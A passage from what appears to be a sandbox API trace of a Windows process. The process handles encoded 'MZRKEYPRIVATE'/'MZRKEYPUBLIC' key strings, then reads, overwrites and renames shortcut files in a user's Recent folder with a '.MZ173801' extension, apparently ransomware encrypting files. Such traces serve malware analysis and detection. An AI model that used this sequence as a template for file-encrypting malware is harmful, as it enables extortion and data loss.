lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.816] GetCurrentThreadId () returned 0xab4 [0148.816] GetCurrentThreadId () returned 0xab4 [0148.816] GetCurrentThreadId () returned 0xab4 [0148.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.817] GetCurrentThreadId () returned 0xab4 [0148.817] GetCurrentThreadId () returned 0xab4 [0148.817] GetCurrentThreadId () returned 0xab4 [0148.817] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MmiYF.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mmiyf.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.817] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.817] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.817] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x39d [0148.817] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.817] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x39d, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x39d, lpOverlapped=0x0) returned 1 [0148.818] CloseHandle (hObject=0x280) returned 1 [0148.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MmiYF.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mmiyf.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.820] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x39d, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x39d, lpOverlapped=0x0) returned 1 [0148.821] CloseHandle (hObject=0x280) returned 1 [0148.822] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MmiYF.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mmiyf.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MmiYF.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mmiyf.lnk.mz173801")) returned 1 [0148.842] GetCurrentThreadId () returned 0xab4 [0148.842] GetCurrentThreadId () returned 0xab4 [0148.842] GetCurrentThreadId () returned 0xab4 [0148.842] GetCurrentThreadId () returned 0xab4 [0148.842] GetCurrentThreadId () returned 0xab4 [0148.842] GetCurrentThreadId () returned 0xab4 [0148.842] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fd63894, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x7f9f6622, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7f9f6622, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x342, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="mrC2.lnk", cAlternateFileName="")) returned 1 [0148.842] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.842] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.842] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mrC2.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mrc2.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fd63894, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x7f9f6622, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7f9f6622, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x342)) returned 1 [0148.842] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mrC2.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mrc2.lnk")) returned 0x20 [0148.842] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mrC2.lnk", dwFileAttributes=0x80) returned 1 [0148.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.845] GetCurrentThreadId () returned 0xab4 [0148.845] GetCurrentThreadId () returned 0xab4 [0148.845] GetCurrentThreadId () returned 0xab4 [0148.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 